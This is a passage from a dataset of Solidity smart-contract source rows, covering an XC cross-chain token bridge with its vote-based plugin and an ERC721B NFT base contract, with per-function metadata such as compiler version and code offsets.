onlyAdmin { require(admin.account == msg.sender); _; } modifier nonzeroAddress(address account) { require(account != address(0)); _; } modifier opened() { require(admin.status); _; } }
init
function init() internal { // Admin { status | platformName | tokenSymbol | account} admin.status = true; admin.platformName = "ETH"; admin.tokenSymbol = "INK"; admin.account = msg.sender; admin.version = "1.0"; platform.status = true; platform.name = "INK"; platform.weight = 3; platform.publicKeys.push(0x80aa17b21c16620a4d7dd06ec1dcc44190b02ca0); platform.publicKeys.push(0xd2e40bb4967b355da8d70be40c277ebcf108063c); platform.publicKeys.push(0x1501e0f09498aa95cb0c2f1e3ee51223e5074720); }
/** * TODO Parameters that must be set before compilation * $Init admin.status * $Init admin.platformName * $Init admin.tokenSymbol * $Init admin.account * $Init admin.version * $Init platform.status * $Init platform.name * $Init platform.weight * $Init platform.publicKeys */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1982, 2591 ] }
59,327
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPlugin
contract XCPlugin is XCPluginInterface { /** * Contract Administrator * @field status Contract external service status. * @field platformName Current contract platform name. * @field tokenSymbol token Symbol. * @field account Current contract administrator. */ struct Admin { bool status; bytes32 platformName; bytes32 tokenSymbol; address account; string version; } /** * Transaction Proposal * @field status Transaction proposal status(false:pending,true:complete). * @field fromAccount Account of form platform. * @field toAccount Account of to platform. * @field value Transfer amount. * @field tokenSymbol token Symbol. * @field voters Proposers. * @field weight The weight value of the completed time. */ struct Proposal { bool status; address fromAccount; address toAccount; uint value; address[] voters; uint weight; } /** * Trusted Platform * @field status Trusted platform state(false:no trusted,true:trusted). * @field weight weight of platform. * @field publicKeys list of public key. * @field proposals list of proposal. */ struct Platform { bool status; bytes32 name; uint weight; address[] publicKeys; mapping(string => Proposal) proposals; } Admin private admin; address[] private callers; Platform private platform; constructor() public { init(); } /** * TODO Parameters that must be set before compilation * $Init admin.status * $Init admin.platformName * $Init admin.tokenSymbol * $Init admin.account * $Init admin.version * $Init platform.status * $Init platform.name * $Init platform.weight * $Init platform.publicKeys */ function init() internal { // Admin { status | platformName | tokenSymbol | account} admin.status = true; admin.platformName = "ETH"; admin.tokenSymbol = "INK"; admin.account = msg.sender; admin.version = "1.0"; platform.status = true; platform.name = "INK"; platform.weight = 3; platform.publicKeys.push(0x80aa17b21c16620a4d7dd06ec1dcc44190b02ca0); platform.publicKeys.push(0xd2e40bb4967b355da8d70be40c277ebcf108063c); platform.publicKeys.push(0x1501e0f09498aa95cb0c2f1e3ee51223e5074720); } function start() onlyAdmin external { if (!admin.status) { admin.status = true; } } function stop() onlyAdmin external { if (admin.status) { admin.status = false; } } function getStatus() external view returns (bool) { return admin.status; } function getPlatformName() external view returns (bytes32) { return admin.platformName; } function setAdmin(address account) onlyAdmin nonzeroAddress(account) external { if (admin.account != account) { admin.account = account; } } function getAdmin() external view returns (address) { return admin.account; } function getTokenSymbol() external view returns (bytes32) { return admin.tokenSymbol; } function addCaller(address caller) onlyAdmin nonzeroAddress(caller) external { if (!_existCaller(caller)) { callers.push(caller); } } function deleteCaller(address caller) onlyAdmin nonzeroAddress(caller) external { for (uint i = 0; i < callers.length; i++) { if (callers[i] == caller) { if (i != callers.length - 1 ) { callers[i] = callers[callers.length - 1]; } callers.length--; return; } } } function existCaller(address caller) external view returns (bool) { return _existCaller(caller); } function getCallers() external view returns (address[]) { return callers; } function getTrustPlatform() external view returns (bytes32 name){ return platform.name; } function setWeight(uint weight) onlyAdmin external { require(weight > 0); if (platform.weight != weight) { platform.weight = weight; } } function getWeight() external view returns (uint) { return platform.weight; } function addPublicKey(address publicKey) onlyAdmin nonzeroAddress(publicKey) external { address[] storage publicKeys = platform.publicKeys; for (uint i; i < publicKeys.length; i++) { if (publicKey == publicKeys[i]) { return; } } publicKeys.push(publicKey); } function deletePublicKey(address publicKey) onlyAdmin nonzeroAddress(publicKey) external { address[] storage publicKeys = platform.publicKeys; for (uint i = 0; i < publicKeys.length; i++) { if (publicKeys[i] == publicKey) { if (i != publicKeys.length - 1 ) { publicKeys[i] = publicKeys[publicKeys.length - 1]; } publicKeys.length--; return; } } } function existPublicKey(address publicKey) external view returns (bool) { return _existPublicKey(publicKey); } function countOfPublicKey() external view returns (uint){ return platform.publicKeys.length; } function publicKeys() external view returns (address[]){ return platform.publicKeys; } function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) opened external { bytes32 msgHash = hashMsg(platform.name, fromAccount, admin.platformName, toAccount, value, admin.tokenSymbol, txid,admin.version); address publicKey = recover(msgHash, sig); require(_existPublicKey(publicKey)); Proposal storage proposal = platform.proposals[txid]; if (proposal.value == 0) { proposal.fromAccount = fromAccount; proposal.toAccount = toAccount; proposal.value = value; } else { require(proposal.fromAccount == fromAccount && proposal.toAccount == toAccount && proposal.value == value); } changeVoters(publicKey, txid); } function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool) { Proposal storage proposal = platform.proposals[txid]; if (proposal.status) { return (true, (proposal.voters.length >= proposal.weight)); } if (proposal.value == 0) { return (false, false); } require(proposal.fromAccount == fromAccount && proposal.toAccount == toAccount && proposal.value == value); return (false, (proposal.voters.length >= platform.weight)); } function commitProposal(string txid) external returns (bool) { require((admin.status &&_existCaller(msg.sender)) || msg.sender == admin.account); require(!platform.proposals[txid].status); platform.proposals[txid].status = true; platform.proposals[txid].weight = platform.proposals[txid].voters.length; return true; } function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight){ fromAccount = platform.proposals[txid].fromAccount; toAccount = platform.proposals[txid].toAccount; value = platform.proposals[txid].value; voters = platform.proposals[txid].voters; status = platform.proposals[txid].status; weight = platform.proposals[txid].weight; return; } function deleteProposal(string txid) onlyAdmin external { delete platform.proposals[txid]; } /** * ###################### * # private function # * ###################### */ function hashMsg(bytes32 fromPlatform, address fromAccount, bytes32 toPlatform, address toAccount, uint value, bytes32 tokenSymbol, string txid,string version) internal pure returns (bytes32) { return sha256(bytes32ToStr(fromPlatform), ":0x", uintToStr(uint160(fromAccount), 16), ":", bytes32ToStr(toPlatform), ":0x", uintToStr(uint160(toAccount), 16), ":", uintToStr(value, 10), ":", bytes32ToStr(tokenSymbol), ":", txid, ":", version); } function changeVoters(address publicKey, string txid) internal { address[] storage voters = platform.proposals[txid].voters; for (uint i = 0; i < voters.length; i++) { if (voters[i] == publicKey) { return; } } voters.push(publicKey); } function bytes32ToStr(bytes32 b) internal pure returns (string) { uint length = b.length; for (uint i = 0; i < b.length; i++) { if (b[b.length - 1 - i] != "") { length -= i; break; } } bytes memory bs = new bytes(length); for (uint j = 0; j < length; j++) { bs[j] = b[j]; } return string(bs); } function uintToStr(uint value, uint base) internal pure returns (string) { uint _value = value; uint length = 0; bytes16 tenStr = "0123456789abcdef"; while (true) { if (_value > 0) { length ++; _value = _value / base; } else { break; } } if (base == 16) { length = 40; } bytes memory bs = new bytes(length); for (uint i = 0; i < length; i++) { bs[length - 1 - i] = tenStr[value % base]; value = value / base; } return string(bs); } function _existCaller(address caller) internal view returns (bool) { for (uint i = 0; i < callers.length; i++) { if (callers[i] == caller) { return true; } } return false; } function _existPublicKey(address publicKey) internal view returns (bool) { address[] memory publicKeys = platform.publicKeys; for (uint i = 0; i < publicKeys.length; i++) { if (publicKeys[i] == publicKey) { return true; } } return false; } function recover(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) { v += 27; } return ecrecover(hash, v, r, s); } modifier onlyAdmin { require(admin.account == msg.sender); _; } modifier nonzeroAddress(address account) { require(account != address(0)); _; } modifier opened() { require(admin.status); _; } }
hashMsg
function hashMsg(bytes32 fromPlatform, address fromAccount, bytes32 toPlatform, address toAccount, uint value, bytes32 tokenSymbol, string txid,string version) internal pure returns (bytes32) { return sha256(bytes32ToStr(fromPlatform), ":0x", uintToStr(uint160(fromAccount), 16), ":", bytes32ToStr(toPlatform), ":0x", uintToStr(uint160(toAccount), 16), ":", uintToStr(value, 10), ":", bytes32ToStr(tokenSymbol), ":", txid, ":", version); }
/** * ###################### * # private function # * ###################### */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 8341, 8799 ] }
59,328
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XC
contract XC is XCInterface { /** * Contract Administrator * @field status Contract external service status. * @field platformName Current contract platform name. * @field account Current contract administrator. */ struct Admin { uint8 status; bytes32 platformName; address account; } Admin private admin; uint public lockBalance; Token private token; XCPlugin private xcPlugin; event Lock(bytes32 toPlatform, address toAccount, bytes32 value, bytes32 tokenSymbol); event Unlock(string txid, bytes32 fromPlatform, address fromAccount, bytes32 value, bytes32 tokenSymbol); constructor() public { init(); } /** * TODO Parameters that must be set before compilation * $Init admin.status * $Init admin.platformName * $Init admin.account * $Init lockBalance * $Init token * $Init xcPlugin */ function init() internal { // Admin {status | platformName | account} admin.status = 3; admin.platformName = "ETH"; admin.account = msg.sender; lockBalance = 344737963881081236; token = Token(0xf4c90e18727c5c76499ea6369c856a6d61d3e92e); xcPlugin = XCPlugin(0x15782cc68d841416f73e8f352f27cc1bc5e76e11); } function setStatus(uint8 status) onlyAdmin external { require(status <= 3); if (admin.status != status) { admin.status = status; } } function getStatus() external view returns (uint8) { return admin.status; } function getPlatformName() external view returns (bytes32) { return admin.platformName; } function setAdmin(address account) onlyAdmin nonzeroAddress(account) external { if (admin.account != account) { admin.account = account; } } function getAdmin() external view returns (address) { return admin.account; } function setToken(address account) onlyAdmin nonzeroAddress(account) external { if (token != account) { token = Token(account); } } function getToken() external view returns (address) { return token; } function setXCPlugin(address account) onlyAdmin nonzeroAddress(account) external { if (xcPlugin != account) { xcPlugin = XCPlugin(account); } } function getXCPlugin() external view returns (address) { return xcPlugin; } function lock(address toAccount, uint value) nonzeroAddress(toAccount) external { require(admin.status == 2 || admin.status == 3); require(xcPlugin.getStatus()); require(value > 0); uint allowance = token.allowance(msg.sender, this); require(allowance >= value); bool success = token.transferFrom(msg.sender, this, value); require(success); lockBalance = SafeMath.add(lockBalance, value); emit Lock(xcPlugin.getTrustPlatform(), toAccount, bytes32(value), xcPlugin.getTokenSymbol()); } function unlock(string txid, address fromAccount, address toAccount, uint value) nonzeroAddress(toAccount) external { require(admin.status == 1 || admin.status == 3); require(xcPlugin.getStatus()); require(value > 0); bool complete; bool verify; (complete, verify) = xcPlugin.verifyProposal(fromAccount, toAccount, value, txid); require(verify && !complete); uint balance = token.balanceOf(this); require(balance >= value); require(token.transfer(toAccount, value)); require(xcPlugin.commitProposal(txid)); lockBalance = SafeMath.sub(lockBalance, value); emit Unlock(txid, xcPlugin.getTrustPlatform(), fromAccount, bytes32(value), xcPlugin.getTokenSymbol()); } function withdraw(address account, uint value) onlyAdmin nonzeroAddress(account) external { require(value > 0); uint balance = token.balanceOf(this); require(SafeMath.sub(balance, lockBalance) >= value); bool success = token.transfer(account, value); require(success); } modifier onlyAdmin { require(admin.account == msg.sender); _; } modifier nonzeroAddress(address account) { require(account != address(0)); _; } }
init
function init() internal { // Admin {status | platformName | account} admin.status = 3; admin.platformName = "ETH"; admin.account = msg.sender; lockBalance = 344737963881081236; token = Token(0xf4c90e18727c5c76499ea6369c856a6d61d3e92e); xcPlugin = XCPlugin(0x15782cc68d841416f73e8f352f27cc1bc5e76e11); }
/** * TODO Parameters that must be set before compilation * $Init admin.status * $Init admin.platformName * $Init admin.account * $Init lockBalance * $Init token * $Init xcPlugin */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 979, 1355 ] }
59,329
Sixzeros
contracts/ERC721B.sol
0xb9aedc39d3371f1b169329faff3ea90255700840
Solidity
ERC721B
abstract contract ERC721B is Context, ERC165, IERC721, IERC721Metadata { using Address for address; string private _name; string private _symbol; // Mapping from token ID to owner address address[] internal _owners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } //public function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); uint256 count = 0; uint256 length = _owners.length; for (uint256 i = 0; i < length; ++i) { if (owner == _owners[i]) ++count; } return count; } function name() public view virtual override returns (string memory) { return _name; } function next() public view returns (uint256) { return _owners.length; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function symbol() public view virtual override returns (string memory) { return _symbol; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721B.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } //internal function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721B.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721B.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721B.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721B.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
balanceOf
function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); uint256 count = 0; uint256 length = _owners.length; for (uint256 i = 0; i < length; ++i) { if (owner == _owners[i]) ++count; } return count; }
//public
LineComment
v0.8.11+commit.d7f03943
{ "func_code_index": [ 679, 1037 ] }
59,330
Sixzeros
contracts/ERC721B.sol
0xb9aedc39d3371f1b169329faff3ea90255700840
Solidity
ERC721B
abstract contract ERC721B is Context, ERC165, IERC721, IERC721Metadata { using Address for address; string private _name; string private _symbol; // Mapping from token ID to owner address address[] internal _owners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } //public function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); uint256 count = 0; uint256 length = _owners.length; for (uint256 i = 0; i < length; ++i) { if (owner == _owners[i]) ++count; } return count; } function name() public view virtual override returns (string memory) { return _name; } function next() public view returns (uint256) { return _owners.length; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function symbol() public view virtual override returns (string memory) { return _symbol; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721B.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } //internal function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721B.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721B.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721B.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721B.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
safeTransferFrom
function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); }
/** * @dev See {IERC721-safeTransferFrom}. */
NatSpecMultiLine
v0.8.11+commit.d7f03943
{ "func_code_index": [ 3322, 3483 ] }
59,331
Sixzeros
contracts/ERC721B.sol
0xb9aedc39d3371f1b169329faff3ea90255700840
Solidity
ERC721B
abstract contract ERC721B is Context, ERC165, IERC721, IERC721Metadata { using Address for address; string private _name; string private _symbol; // Mapping from token ID to owner address address[] internal _owners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } //public function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); uint256 count = 0; uint256 length = _owners.length; for (uint256 i = 0; i < length; ++i) { if (owner == _owners[i]) ++count; } return count; } function name() public view virtual override returns (string memory) { return _name; } function next() public view returns (uint256) { return _owners.length; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function symbol() public view virtual override returns (string memory) { return _symbol; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721B.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } //internal function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721B.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721B.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721B.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721B.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
safeTransferFrom
function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); }
/** * @dev See {IERC721-safeTransferFrom}. */
NatSpecMultiLine
v0.8.11+commit.d7f03943
{ "func_code_index": [ 3539, 3851 ] }
59,332
Sixzeros
contracts/ERC721B.sol
0xb9aedc39d3371f1b169329faff3ea90255700840
Solidity
ERC721B
abstract contract ERC721B is Context, ERC165, IERC721, IERC721Metadata { using Address for address; string private _name; string private _symbol; // Mapping from token ID to owner address address[] internal _owners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } //public function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); uint256 count = 0; uint256 length = _owners.length; for (uint256 i = 0; i < length; ++i) { if (owner == _owners[i]) ++count; } return count; } function name() public view virtual override returns (string memory) { return _name; } function next() public view returns (uint256) { return _owners.length; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function symbol() public view virtual override returns (string memory) { return _symbol; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721B.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), 